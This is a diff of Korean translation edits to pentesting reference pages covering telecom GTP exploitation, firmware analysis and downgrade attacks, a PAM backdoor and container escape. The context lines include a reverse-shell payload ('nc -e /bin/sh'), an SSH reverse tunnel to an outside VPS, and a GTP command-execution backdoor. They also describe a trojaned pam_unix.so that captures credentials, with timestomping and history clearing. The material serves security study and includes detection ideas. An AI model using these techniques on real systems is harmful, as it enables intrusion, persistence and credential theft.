**sslStrip 또는 sslStrip+는 더 이상 작동하지 않습니다. 이는 브라우저에 HSTS 규칙이 미리 저장되어 있기 때문입니다. 따라서 사용자가 "중요한" 도메인에 처음 접근하더라도 HTTPS를 통해 접근하게 됩니다. 또한, 미리 저장된 규칙과 다른 생성된 규칙은** [**`includeSubdomains`**](https://hstspreload.appspot.com) **플래그를 사용할 수 있으므로, 이전의 _**wwww.facebook.com**_ **예제는 더 이상 작동하지 않습니다. 왜냐하면** _**facebook.com**_ **이 HSTS를 `includeSubdomains`와 함께 사용하기 때문입니다.**
|
||||
**sslStrip 또는 sslStrip+는 더 이상 작동하지 않습니다. 이는 브라우저에 미리 저장된 HSTS 규칙이 있기 때문입니다. 따라서 사용자가 "중요한" 도메인에 처음 접근하더라도 HTTPS를 통해 접근하게 됩니다. 또한, 미리 저장된 규칙과 다른 생성된 규칙은** [**`includeSubdomains`**](https://hstspreload.appspot.com) **플래그를 사용할 수 있으므로, 이전의 _**wwww.facebook.com**_ **예제는 더 이상 작동하지 않습니다. 왜냐하면** _**facebook.com**_ **이 `includeSubdomains`와 함께 HSTS를 사용하기 때문입니다.**
|
||||
|
||||
TODO: easy-creds, evilgrade, metasploit, factory
|
||||
|
||||
## TCP 포트에서 수신 대기
|
||||
## 포트에서 TCP 수신
|
||||
```bash
|
||||
sudo nc -l -p 80
|
||||
socat TCP4-LISTEN:80,fork,reuseaddr -
|
||||
@ -725,7 +725,7 @@ openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
|
||||
# Generate the PEM file by just appending the key and certificate files:
|
||||
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
|
||||
```
|
||||
#### 인증서를 사용하여 수신 대기
|
||||
#### 인증서를 사용하여 수신하기
|
||||
```
|
||||
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -
|
||||
```
|
||||
@ -794,7 +794,6 @@ Bettercap은 모든 종류의 서비스를 검색하는 SSDP 패킷을 브로드
|
||||
|
||||
Bettercap은 서비스를 검색하는 WSD 패킷을 브로드캐스트합니다 (UDP 포트 3702).
|
||||
|
||||
|
||||
### Telecom / Mobile-Core (GTP) Exploitation
|
||||
|
||||
{{#ref}}
|
||||
@ -808,6 +807,4 @@ telecom-network-exploitation.md
|
||||
- **Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things. By Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood**
|
||||
- [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -3,7 +3,7 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> 모바일 코어 프로토콜(GPRS 터널링 프로토콜 – GTP)은 종종 반신뢰 GRX/IPX 로밍 백본을 통과합니다. 거의 인증 없이 일반 UDP 위에서 작동하기 때문에, **통신 경계 내의 어떤 발판도 일반적으로 코어 신호 평면에 직접 접근할 수 있습니다**. 다음 메모는 SGSN/GGSN, PGW/SGW 및 기타 EPC 노드에 대해 실제로 관찰된 공격 기술을 수집합니다.
|
||||
> 모바일 코어 프로토콜(GPRS Tunnelling Protocol – GTP)은 종종 반신뢰 GRX/IPX 로밍 백본을 통과합니다. 거의 인증 없이 일반 UDP 위에서 작동하기 때문에, **통신 경계 내의 어떤 발판도 일반적으로 코어 신호 평면에 직접 접근할 수 있습니다**. 다음 메모는 SGSN/GGSN, PGW/SGW 및 기타 EPC 노드에 대해 실제로 관찰된 공격 기술을 수집합니다.
|
||||
|
||||
## 1. Recon & Initial Access
|
||||
|
||||
@ -30,7 +30,7 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
||||
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
|
||||
```
|
||||
주요 플래그:
|
||||
- `--imsi` 대상 가입자 IMSI
|
||||
- `--imsi` 대상 구독자 IMSI
|
||||
- `--oper` 홈 / HNI (MCC+MNC)
|
||||
- `-w` 원시 패킷을 pcap에 기록
|
||||
|
||||
@ -40,7 +40,7 @@ pingtimeout = 3 // seconds before giving up
|
||||
pco = 0x218080
|
||||
common_tcp_ports = "22,23,80,443,8080"
|
||||
```
|
||||
## 3. 코드 실행 GTP를 통한 – `GTPDoor`
|
||||
## 3. GTP를 통한 코드 실행 – `GTPDoor`
|
||||
|
||||
`GTPDoor`는 **UDP 2123에 바인딩하고 모든 수신 GTP-C 패킷을 파싱하는** 작은 ELF 서비스입니다. 페이로드가 사전 공유 태그로 시작하면 나머지는 복호화(AES-128-CBC)되어 `/bin/sh -c`를 통해 실행됩니다. stdout/stderr는 **Echo Response** 메시지 내에서 유출되어 외부 세션이 생성되지 않도록 합니다.
|
||||
|
||||
@ -53,7 +53,7 @@ enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
|
||||
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
|
||||
```
|
||||
탐지:
|
||||
* **불균형 에코 요청**을 SGSN IP로 전송하는 호스트
|
||||
* SGSN IP로 **불균형 에코 요청**을 보내는 호스트
|
||||
* 메시지 유형 = 1(에코)일 때 GTP 버전 플래그가 1로 설정됨 – 사양에서의 편차
|
||||
|
||||
## 4. 코어를 통한 피벗팅
|
||||
@ -69,7 +69,7 @@ microsocks -p 1080 & # internal SOCKS proxy
|
||||
적절한 방화벽 헤어핀을 사용하면 이 터널이 신호 전용 VLAN을 우회하고 **데이터 평면**에 직접 도달합니다.
|
||||
|
||||
### 4.2 포트 53을 통한 SSH 리버스 터널
|
||||
DNS는 로밍 인프라에서 거의 항상 열려 있습니다. 내부 SSH 서비스를 VPS에 노출하여 :53에서 수신 대기하고 나중에 집에서 돌아옵니다:
|
||||
DNS는 로밍 인프라에서 거의 항상 열려 있습니다. 내부 SSH 서비스를 VPS에 노출하여 :53에서 수신 대기하고 나중에 집에서 돌아오세요:
|
||||
```bash
|
||||
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
|
||||
```
|
||||
@ -116,7 +116,7 @@ python3 exploit_userspec.py
|
||||
userdel firefart 2>/dev/null
|
||||
rm -f /tmp/sh ; history -c
|
||||
```
|
||||
## 8. 도구 상자
|
||||
## 8. Tool Box
|
||||
|
||||
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – 이전 섹션에서 설명한 사용자 정의 도구.
|
||||
* `FScan` : 인트라넷 TCP 스윕 (`fscan -p 22,80,443 10.0.0.0/24`)
|
||||
@ -125,16 +125,16 @@ rm -f /tmp/sh ; history -c
|
||||
* `FRP` (≥0.37) : NAT 우회 / 자산 브리징
|
||||
|
||||
---
|
||||
## 탐지 아이디어
|
||||
1. **PDP 컨텍스트 요청을 생성하는 SGSN/GGSN 이외의 모든 장치**.
|
||||
2. **내부 IP로부터 SSH 핸드셰이크를 수신하는 비표준 포트 (53, 80, 443)**.
|
||||
## Detection Ideas
|
||||
1. **SGSN/GGSN 이외의 장치가 PDP 컨텍스트 요청을 생성하는 경우**.
|
||||
2. **비표준 포트(53, 80, 443)가 내부 IP로부터 SSH 핸드셰이크를 수신하는 경우**.
|
||||
3. **상응하는 에코 응답 없이 빈번한 에코 요청** – GTPDoor 비콘을 나타낼 수 있음.
|
||||
4. **큰 비제로 식별자/시퀀스 필드를 가진 ICMP 에코 응답 트래픽의 높은 비율**.
|
||||
|
||||
## 참고 문헌
|
||||
## References
|
||||
|
||||
- [Palo Alto Unit42 – 글로벌 통신 네트워크 침투](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
|
||||
- 3GPP TS 29.060 – GPRS 터널링 프로토콜 (v16.4.0)
|
||||
- [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
|
||||
- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
|
||||
- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -8,7 +8,7 @@
|
||||
|
||||
## **정보 수집**
|
||||
|
||||
**정보 수집**은 장치의 구성과 사용하는 기술을 이해하는 데 중요한 초기 단계입니다. 이 과정은 다음에 대한 데이터를 수집하는 것을 포함합니다:
|
||||
**정보 수집**은 장치의 구성과 사용되는 기술을 이해하는 데 중요한 초기 단계입니다. 이 과정에는 다음에 대한 데이터 수집이 포함됩니다:
|
||||
|
||||
- CPU 아키텍처 및 운영 체제
|
||||
- 부트로더 세부사항
|
||||
@ -23,9 +23,9 @@
|
||||
|
||||
## **펌웨어 획득**
|
||||
|
||||
펌웨어를 얻는 방법은 여러 가지가 있으며, 각 방법마다 복잡성의 수준이 다릅니다:
|
||||
펌웨어를 획득하는 방법은 여러 가지가 있으며, 각 방법은 복잡성의 수준이 다릅니다:
|
||||
|
||||
- **소스**(개발자, 제조업체)에서 직접
|
||||
- **소스**(개발자, 제조업체)에서 **직접**
|
||||
- 제공된 지침에 따라 **구축**
|
||||
- 공식 지원 사이트에서 **다운로드**
|
||||
- 호스팅된 펌웨어 파일을 찾기 위한 **Google dork** 쿼리 활용
|
||||
@ -39,7 +39,7 @@
|
||||
|
||||
## 펌웨어 분석
|
||||
|
||||
이제 **펌웨어를 확보**했으므로, 이를 처리하는 방법을 알기 위해 정보 추출이 필요합니다. 이를 위해 사용할 수 있는 다양한 도구:
|
||||
이제 **펌웨어를 확보**했으므로, 이를 처리하는 방법을 알기 위해 정보 추출이 필요합니다. 이를 위해 사용할 수 있는 다양한 도구가 있습니다:
|
||||
```bash
|
||||
file <bin>
|
||||
strings -n8 <bin>
|
||||
@ -48,7 +48,7 @@ hexdump -C -n 512 <bin> > hexdump.out
|
||||
hexdump -C <bin> | head # might find signatures in header
|
||||
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
|
||||
```
|
||||
해당 도구로 많은 것을 찾지 못한 경우, `binwalk -E <bin>`로 이미지의 **엔트로피**를 확인하세요. 엔트로피가 낮으면 암호화되지 않았을 가능성이 높습니다. 엔트로피가 높으면 암호화되었거나 어떤 방식으로든 압축되었을 가능성이 높습니다.
|
||||
해당 도구로 많은 것을 찾지 못한 경우, `binwalk -E <bin>`로 이미지의 **엔트로피**를 확인하세요. 엔트로피가 낮으면 암호화되지 않았을 가능성이 높습니다. 엔트로피가 높으면 암호화되었거나 어떤 방식으로든 압축되었을 가능성이 있습니다.
|
||||
|
||||
또한, 이러한 도구를 사용하여 **펌웨어에 내장된 파일**을 추출할 수 있습니다:
|
||||
|
||||
@ -60,8 +60,8 @@ fdisk -lu <bin> #lists a drives partition and filesystems if multiple
|
||||
|
||||
### 파일 시스템 가져오기
|
||||
|
||||
이전의 언급된 도구인 `binwalk -ev <bin>`를 사용하면 **파일 시스템을 추출할 수 있어야 합니다**.\
|
||||
Binwalk는 일반적으로 **파일 시스템 유형으로 명명된 폴더** 안에 추출합니다. 이 폴더는 보통 다음 중 하나입니다: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
|
||||
이전의 언급된 도구인 `binwalk -ev <bin>`를 사용하면 **파일 시스템을 추출**할 수 있어야 합니다.\
|
||||
Binwalk는 일반적으로 **파일 시스템 유형의 이름을 가진 폴더** 안에 추출합니다. 이 폴더는 보통 다음 중 하나입니다: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
|
||||
|
||||
#### 수동 파일 시스템 추출
|
||||
|
||||
@ -95,7 +95,7 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||
|
||||
`$ unsquashfs dir.squashfs`
|
||||
|
||||
파일은 이후 "`squashfs-root`" 디렉토리에 있을 것입니다.
|
||||
파일은 이후 "`squashfs-root`" 디렉토리에 있습니다.
|
||||
|
||||
- CPIO 아카이브 파일
|
||||
|
||||
@ -113,7 +113,7 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||
|
||||
## 펌웨어 분석
|
||||
|
||||
펌웨어를 얻은 후, 그 구조와 잠재적 취약점을 이해하기 위해 분석하는 것이 필수적입니다. 이 과정은 펌웨어 이미지에서 귀중한 데이터를 분석하고 추출하기 위해 다양한 도구를 활용하는 것을 포함합니다.
|
||||
펌웨어를 얻은 후, 그 구조와 잠재적 취약점을 이해하기 위해 분석하는 것이 필수적입니다. 이 과정은 펌웨어 이미지에서 유용한 데이터를 분석하고 추출하기 위해 다양한 도구를 활용하는 것을 포함합니다.
|
||||
|
||||
### 초기 분석 도구
|
||||
|
||||
@ -126,7 +126,7 @@ hexdump -C -n 512 <bin> > hexdump.out
|
||||
hexdump -C <bin> | head #useful for finding signatures in the header
|
||||
fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
|
||||
```
|
||||
이미지의 암호화 상태를 평가하기 위해 **entropy**는 `binwalk -E <bin>`으로 확인됩니다. 낮은 엔트로피는 암호화가 없음을 시사하며, 높은 엔트로피는 가능한 암호화 또는 압축을 나타냅니다.
|
||||
이미지의 암호화 상태를 평가하기 위해 **entropy**는 `binwalk -E <bin>`으로 확인됩니다. 낮은 엔트로피는 암호화가 없음을 나타내고, 높은 엔트로피는 암호화 또는 압축이 가능함을 나타냅니다.
|
||||
|
||||
**임베디드 파일**을 추출하기 위해서는 **file-data-carving-recovery-tools** 문서와 파일 검사를 위한 **binvis.io**와 같은 도구와 리소스가 추천됩니다.
|
||||
|
||||
@ -138,7 +138,7 @@ $ binwalk DIR850L_REVB.bin
|
||||
|
||||
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||
```
|
||||
이후, 파일 시스템 유형(예: squashfs, cpio, jffs2, ubifs)에 따라 수동으로 내용을 추출하는 데 사용되는 다양한 명령이 있습니다.
|
||||
그 후, 파일 시스템 유형(예: squashfs, cpio, jffs2, ubifs)에 따라 수동으로 내용을 추출하는 데 사용되는 다양한 명령이 있습니다.
|
||||
|
||||
### 파일 시스템 분석
|
||||
|
||||
@ -146,7 +146,7 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||
|
||||
**검사할 주요 위치** 및 **항목**은 다음과 같습니다:
|
||||
|
||||
- 사용자 자격 증명을 위한 **etc/shadow** 및 **etc/passwd**
|
||||
- **etc/shadow** 및 **etc/passwd**에서 사용자 자격 증명
|
||||
- **etc/ssl**의 SSL 인증서 및 키
|
||||
- 잠재적 취약점을 위한 구성 및 스크립트 파일
|
||||
- 추가 분석을 위한 내장 바이너리
|
||||
@ -160,11 +160,11 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||
|
||||
### 컴파일된 바이너리에 대한 보안 검사
|
||||
|
||||
파일 시스템에서 발견된 소스 코드와 컴파일된 바이너리는 취약점에 대해 면밀히 조사해야 합니다. Unix 바이너리를 위한 **checksec.sh**와 Windows 바이너리를 위한 **PESecurity**와 같은 도구는 악용될 수 있는 보호되지 않은 바이너리를 식별하는 데 도움을 줍니다.
|
||||
파일 시스템에서 발견된 소스 코드와 컴파일된 바이너리는 취약점에 대해 면밀히 조사해야 합니다. Unix 바이너리용 **checksec.sh** 및 Windows 바이너리용 **PESecurity**와 같은 도구는 악용될 수 있는 보호되지 않은 바이너리를 식별하는 데 도움을 줍니다.
|
||||
|
||||
## 동적 분석을 위한 펌웨어 에뮬레이션
|
||||
|
||||
펌웨어를 에뮬레이트하는 과정은 장치의 작동 또는 개별 프로그램의 **동적 분석**을 가능하게 합니다. 이 접근 방식은 하드웨어 또는 아키텍처 의존성으로 인해 어려움이 발생할 수 있지만, 루트 파일 시스템이나 특정 바이너리를 Raspberry Pi와 같은 일치하는 아키텍처 및 엔디안성을 가진 장치 또는 미리 구축된 가상 머신으로 전송하면 추가 테스트를 용이하게 할 수 있습니다.
|
||||
펌웨어를 에뮬레이트하는 과정은 장치의 작동 또는 개별 프로그램의 **동적 분석**을 가능하게 합니다. 이 접근 방식은 하드웨어 또는 아키텍처 의존성으로 인해 어려움이 발생할 수 있지만, 루트 파일 시스템이나 특정 바이너리를 Raspberry Pi와 같은 일치하는 아키텍처 및 엔디안성을 가진 장치로 전송하거나 미리 구축된 가상 머신으로 전송하면 추가 테스트를 용이하게 할 수 있습니다.
|
||||
|
||||
### 개별 바이너리 에뮬레이션
|
||||
|
||||
@ -194,13 +194,13 @@ ARM 바이너리의 경우, 프로세스는 유사하며, `qemu-arm` 에뮬레
|
||||
|
||||
이 단계에서는 실제 또는 에뮬레이션된 장치 환경이 분석에 사용됩니다. OS 및 파일 시스템에 대한 셸 접근을 유지하는 것이 중요합니다. 에뮬레이션이 하드웨어 상호작용을 완벽하게 모방하지 못할 수 있으므로 가끔 에뮬레이션을 재시작해야 할 필요가 있습니다. 분석은 파일 시스템을 재검토하고, 노출된 웹페이지 및 네트워크 서비스를 이용하며, 부트로더 취약점을 탐색해야 합니다. 펌웨어 무결성 테스트는 잠재적인 백도어 취약점을 식별하는 데 중요합니다.
|
||||
|
||||
## 런타임 분석 기법
|
||||
## 런타임 분석 기술
|
||||
|
||||
런타임 분석은 gdb-multiarch, Frida 및 Ghidra와 같은 도구를 사용하여 운영 환경에서 프로세스 또는 바이너리와 상호작용하며, 중단점을 설정하고 퍼징 및 기타 기법을 통해 취약점을 식별하는 것을 포함합니다.
|
||||
런타임 분석은 gdb-multiarch, Frida 및 Ghidra와 같은 도구를 사용하여 운영 환경에서 프로세스 또는 바이너리와 상호작용하며, 중단점을 설정하고 퍼징 및 기타 기술을 통해 취약점을 식별하는 것을 포함합니다.
|
||||
|
||||
## 바이너리 익스플로잇 및 개념 증명
|
||||
|
||||
식별된 취약점에 대한 PoC를 개발하려면 대상 아키텍처에 대한 깊은 이해와 저수준 언어로 프로그래밍하는 능력이 필요합니다. 임베디드 시스템에서 바이너리 런타임 보호는 드물지만, 존재할 경우 Return Oriented Programming (ROP)과 같은 기법이 필요할 수 있습니다.
|
||||
식별된 취약점에 대한 PoC를 개발하려면 대상 아키텍처에 대한 깊은 이해와 저수준 언어로 프로그래밍하는 능력이 필요합니다. 임베디드 시스템에서 바이너리 런타임 보호는 드물지만, 존재할 경우 Return Oriented Programming (ROP)과 같은 기술이 필요할 수 있습니다.
|
||||
|
||||
## 펌웨어 분석을 위한 준비된 운영 체제
|
||||
|
||||
@ -208,7 +208,7 @@ ARM 바이너리의 경우, 프로세스는 유사하며, `qemu-arm` 에뮬레
|
||||
|
||||
## 펌웨어 분석을 위한 준비된 OS
|
||||
|
||||
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS는 IoT 장치의 보안 평가 및 침투 테스트를 수행하는 데 도움을 주기 위해 설계된 배포판입니다. 필요한 모든 도구가 로드된 사전 구성된 환경을 제공하여 많은 시간을 절약할 수 있습니다.
|
||||
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS는 사물인터넷(IoT) 장치의 보안 평가 및 침투 테스트를 수행하는 데 도움을 주기 위해 설계된 배포판입니다. 필요한 모든 도구가 로드된 사전 구성된 환경을 제공하여 많은 시간을 절약할 수 있습니다.
|
||||
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): 펌웨어 보안 테스트 도구가 사전 로드된 Ubuntu 18.04 기반의 임베디드 보안 테스트 운영 체제입니다.
|
||||
|
||||
## 펌웨어 다운그레이드 공격 및 안전하지 않은 업데이트 메커니즘
|
||||
@ -219,12 +219,12 @@ ARM 바이너리의 경우, 프로세스는 유사하며, `qemu-arm` 에뮬레
|
||||
|
||||
1. **이전 서명된 이미지 확보**
|
||||
* 벤더의 공개 다운로드 포털, CDN 또는 지원 사이트에서 가져옵니다.
|
||||
* 동반 모바일/데스크탑 애플리케이션에서 추출합니다 (예: Android APK의 `assets/firmware/` 내부).
|
||||
* 동반 모바일/데스크톱 애플리케이션에서 추출합니다 (예: Android APK의 `assets/firmware/` 내부).
|
||||
* VirusTotal, 인터넷 아카이브, 포럼 등과 같은 제3자 리포지토리에서 검색합니다.
|
||||
2. **노출된 업데이트 채널을 통해 장치에 이미지를 업로드하거나 제공합니다**:
|
||||
2. **노출된 업데이트 채널을 통해 장치에 이미지를 업로드하거나 제공합니다:**
|
||||
* 웹 UI, 모바일 앱 API, USB, TFTP, MQTT 등.
|
||||
* 많은 소비자 IoT 장치는 Base64로 인코딩된 펌웨어 블롭을 수용하는 *인증되지 않은* HTTP(S) 엔드포인트를 노출하여 서버 측에서 디코딩하고 복구/업그레이드를 트리거합니다.
|
||||
3. 다운그레이드 후, 최신 릴리스에서 패치된 취약점을 이용합니다 (예: 나중에 추가된 명령 주입 필터).
|
||||
3. 다운그레이드 후, 최신 릴리스에서 패치된 취약점을 악용합니다 (예: 나중에 추가된 명령 주입 필터).
|
||||
4. 선택적으로 최신 이미지를 다시 플래시하거나 지속성을 확보한 후 탐지를 피하기 위해 업데이트를 비활성화합니다.
|
||||
|
||||
### 예: 다운그레이드 후 명령 주입
|
||||
@ -234,11 +234,11 @@ Host: 192.168.0.1
|
||||
Content-Type: application/octet-stream
|
||||
Content-Length: 0
|
||||
```
|
||||
취약한 (다운그레이드된) 펌웨어에서 `md5` 매개변수는 정화 없이 쉘 명령에 직접 연결되어 임의의 명령 주입을 허용합니다 (여기서는 SSH 키 기반 루트 액세스 활성화). 이후 펌웨어 버전에서는 기본 문자 필터가 도입되었지만, 다운그레이드 보호의 부재로 인해 수정이 무의미해졌습니다.
|
||||
취약한 (다운그레이드된) 펌웨어에서 `md5` 매개변수는 정화 없이 쉘 명령에 직접 연결되어 임의의 명령 주입을 허용합니다 (여기서는 SSH 키 기반 루트 액세스를 활성화하는 것). 이후 펌웨어 버전에서는 기본 문자 필터가 도입되었지만, 다운그레이드 보호의 부재로 인해 수정이 무의미해졌습니다.
|
||||
|
||||
### 모바일 앱에서 펌웨어 추출하기
|
||||
|
||||
많은 공급업체가 전체 펌웨어 이미지를 동반 모바일 애플리케이션에 포함시켜 앱이 Bluetooth/Wi-Fi를 통해 장치를 업데이트할 수 있도록 합니다. 이러한 패키지는 일반적으로 `assets/fw/` 또는 `res/raw/`와 같은 경로의 APK/APEX에 암호화되지 않은 상태로 저장됩니다. `apktool`, `ghidra` 또는 일반 `unzip`과 같은 도구를 사용하면 물리적 하드웨어를 건드리지 않고 서명된 이미지를 추출할 수 있습니다.
|
||||
많은 공급업체가 전체 펌웨어 이미지를 동반 모바일 애플리케이션에 포함시켜 앱이 Bluetooth/Wi-Fi를 통해 장치를 업데이트할 수 있도록 합니다. 이러한 패키지는 일반적으로 `assets/fw/` 또는 `res/raw/`와 같은 경로의 APK/APEX에 암호화되지 않은 상태로 저장됩니다. `apktool`, `ghidra` 또는 일반 `unzip`과 같은 도구를 사용하면 물리적 하드웨어에 손대지 않고 서명된 이미지를 추출할 수 있습니다.
|
||||
```
|
||||
$ apktool d vendor-app.apk -o vendor-app
|
||||
$ ls vendor-app/assets/firmware
|
||||
@ -248,7 +248,7 @@ firmware_v1.3.11.490_signed.bin
|
||||
|
||||
* *업데이트 엔드포인트*의 전송/인증이 적절히 보호되고 있습니까 (TLS + 인증)?
|
||||
* 장치가 플래싱 전에 **버전 번호** 또는 **단조 증가 방지 카운터**를 비교합니까?
|
||||
* 이미지가 보안 부팅 체인 내에서 검증됩니까 (예: ROM 코드에 의해 서명 확인)?
|
||||
* 이미지가 보안 부트 체인 내에서 검증됩니까 (예: ROM 코드에 의해 서명 확인)?
|
||||
* 사용자 공간 코드가 추가적인 유효성 검사를 수행합니까 (예: 허용된 파티션 맵, 모델 번호)?
|
||||
* *부분* 또는 *백업* 업데이트 흐름이 동일한 검증 로직을 재사용하고 있습니까?
|
||||
|
||||
@ -256,7 +256,7 @@ firmware_v1.3.11.490_signed.bin
|
||||
|
||||
## 연습할 취약한 펌웨어
|
||||
|
||||
펌웨어에서 취약점을 발견하는 연습을 하려면, 다음의 취약한 펌웨어 프로젝트를 시작점으로 사용하십시오.
|
||||
펌웨어에서 취약점을 발견하는 연습을 위해, 다음의 취약한 펌웨어 프로젝트를 시작점으로 사용하십시오.
|
||||
|
||||
- OWASP IoTGoat
|
||||
- [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat)
|
||||
|
@ -312,7 +312,7 @@ bypass-fs-protections-read-only-no-exec-distroless/
|
||||
|
||||
취약점이 `system()` 또는 다른 셸에 도달하는 인수를 부분적으로 제어할 수 있게 해줄 때, 실행이 페이로드를 읽기 시작하는 정확한 오프셋을 알지 못할 수 있습니다. 전통적인 NOP 슬레드(예: `\x90`)는 셸 구문에서 **작동하지 않지만**, Bash는 명령을 실행하기 전에 선행 공백을 무해하게 무시합니다.
|
||||
|
||||
따라서 실제 명령 앞에 긴 공백 또는 탭 문자의 시퀀스를 추가하여 *Bash용 NOP 슬레드*를 만들 수 있습니다:
|
||||
따라서 실제 명령 앞에 긴 공백 또는 탭 문자의 시퀀스를 접두사로 추가하여 *Bash용 NOP 슬레드*를 만들 수 있습니다:
|
||||
```bash
|
||||
# Payload sprayed into an environment variable / NVRAM entry
|
||||
" nc -e /bin/sh 10.0.0.1 4444"
|
||||
|
@ -39,17 +39,17 @@ session required /lib/security/pam_unix_session.so
|
||||
|
||||
- **Required**: 필수 모듈의 실패는 결국 실패로 이어지지만, 모든 후속 모듈이 확인된 후에만 발생합니다.
|
||||
- **Requisite**: 실패 시 즉각적인 프로세스 종료.
|
||||
- **Sufficient**: 성공 시 동일 영역의 나머지 검사를 우회하며, 후속 모듈이 실패하지 않는 한 적용됩니다.
|
||||
- **Optional**: 스택에서 유일한 모듈인 경우에만 실패를 유발합니다.
|
||||
- **Sufficient**: 성공 시 동일 영역의 나머지 검사를 우회하지만, 후속 모듈이 실패할 경우는 제외됩니다.
|
||||
- **Optional**: 스택에서 유일한 모듈일 경우에만 실패를 유발합니다.
|
||||
|
||||
#### 예시 시나리오
|
||||
|
||||
여러 인증 모듈이 있는 설정에서 프로세스는 엄격한 순서를 따릅니다. `pam_securetty` 모듈이 로그인 터미널이 승인되지 않았다고 판단하면 루트 로그인이 차단되지만, "required" 상태로 인해 모든 모듈이 여전히 처리됩니다. `pam_env`는 환경 변수를 설정하여 사용자 경험을 향상시킬 수 있습니다. `pam_ldap` 및 `pam_unix` 모듈은 함께 작동하여 사용자를 인증하며, `pam_unix`는 이전에 제공된 비밀번호를 사용하려고 시도하여 인증 방법의 효율성과 유연성을 높입니다.
|
||||
여러 인증 모듈이 있는 설정에서 프로세스는 엄격한 순서를 따릅니다. `pam_securetty` 모듈이 로그인 터미널이 승인되지 않았다고 판단하면, 루트 로그인이 차단되지만, "required" 상태로 인해 모든 모듈이 여전히 처리됩니다. `pam_env`는 환경 변수를 설정하여 사용자 경험을 향상시킬 수 있습니다. `pam_ldap` 및 `pam_unix` 모듈은 함께 작동하여 사용자를 인증하며, `pam_unix`는 이전에 제공된 비밀번호를 사용하려고 시도하여 인증 방법의 효율성과 유연성을 높입니다.
|
||||
|
||||
|
||||
## PAM 백도어 – `pam_unix.so` 후킹
|
||||
|
||||
고급 Linux 환경에서 고전적인 지속성 트릭은 **정상 PAM 라이브러리를 트로이 목마화된 드롭인으로 교체하는 것**입니다. 모든 SSH / 콘솔 로그인은 결국 `pam_unix.so:pam_sm_authenticate()`를 호출하므로, 자격 증명을 캡처하거나 *마법* 비밀번호 우회를 구현하기 위해 몇 줄의 C 코드면 충분합니다.
|
||||
고가치 Linux 환경에서 고전적인 지속성 트릭은 **합법적인 PAM 라이브러리를 트로이 목마화된 드롭인으로 교체하는 것**입니다. 모든 SSH / 콘솔 로그인은 `pam_unix.so:pam_sm_authenticate()`를 호출하므로, 자격 증명을 캡처하거나 *마법* 비밀번호 우회를 구현하기 위해 몇 줄의 C 코드면 충분합니다.
|
||||
|
||||
### 컴파일 요약표
|
||||
```c
|
||||
@ -92,7 +92,7 @@ chmod 644 /lib/security/pam_unix.so # keep original perms
|
||||
touch -r /bin/ls /lib/security/pam_unix.so # timestomp
|
||||
```
|
||||
### OpSec Tips
|
||||
1. **Atomic overwrite** – 임시 파일에 쓰고 `mv`로 위치를 변경하여 SSH를 잠글 수 있는 반쯤 작성된 라이브러리를 피하십시오.
|
||||
1. **원자적 덮어쓰기** – 임시 파일에 쓰고 `mv`로 위치를 변경하여 SSH를 잠글 수 있는 반쯤 작성된 라이브러리를 피하십시오.
|
||||
2. `/usr/bin/.dbus.log`와 같은 로그 파일 배치는 합법적인 데스크탑 아티팩트와 섞입니다.
|
||||
3. PAM의 잘못된 동작을 피하기 위해 기호 내보내기를 동일하게 유지하십시오 (`pam_sm_setcred` 등).
|
||||
|
||||
|
@ -15,7 +15,7 @@
|
||||
#### **`/proc/sys/kernel/core_pattern`**
|
||||
|
||||
- [core(5)](https://man7.org/linux/man-pages/man5/core.5.html)에서 설명됨.
|
||||
- 이 파일에 쓸 수 있다면, 파이프 `|` 뒤에 프로그램이나 스크립트의 경로를 작성하여 충돌이 발생한 후 실행되도록 할 수 있습니다.
|
||||
- 이 파일에 쓸 수 있다면, 프로그램이나 스크립트의 경로 뒤에 파이프 `|`를 써서 충돌이 발생한 후 실행될 수 있습니다.
|
||||
- 공격자는 `mount`를 실행하여 호스트 내에서 자신의 컨테이너로의 경로를 찾고, 그 경로를 자신의 컨테이너 파일 시스템 내의 바이너리에 쓸 수 있습니다. 그런 다음 프로그램을 충돌시켜 커널이 컨테이너 외부에서 바이너리를 실행하도록 만들 수 있습니다.
|
||||
